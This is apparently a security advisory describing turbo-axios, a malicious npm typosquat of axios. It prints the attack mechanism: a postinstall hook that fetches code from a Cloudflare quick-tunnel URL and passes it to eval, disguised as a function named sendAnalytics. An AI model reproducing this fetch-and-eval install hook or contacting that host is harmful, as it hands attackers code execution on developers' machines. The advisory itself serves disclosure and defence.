MAL-2026-4695 Malicious code in turbo-axios (npm)

turbo-axios is a typosquat of the popular axios HTTP client (it re-exports the full axios API and reuses axios's repository/homepage metadata in package.json) carrying an install-time remote code execution payload. package.json declares "postinstall": "node./lib/core/eval.js". lib/core/eval.js performs fetch('https://consequences-faces-weblogs-clinical.trycloudflare.com/download/datab1') and then await eval((async () => {\n${datab2}\n})();), executing the response body as JavaScript inside an async IIFE. The destination is an anonymous, mutable Cloudflare quick-tunnel — not the publisher's infrastructure — and the fetched bytes are not pinned, hashed, or otherwise verified, so the attacker can ship arbitrary code to every installer at any time. The exfil/RCE function is misleadingly named sendAnalytics. Any npm install turbo-axios results in attacker-controlled code execution on the installer's machine with the privileges of the npm process.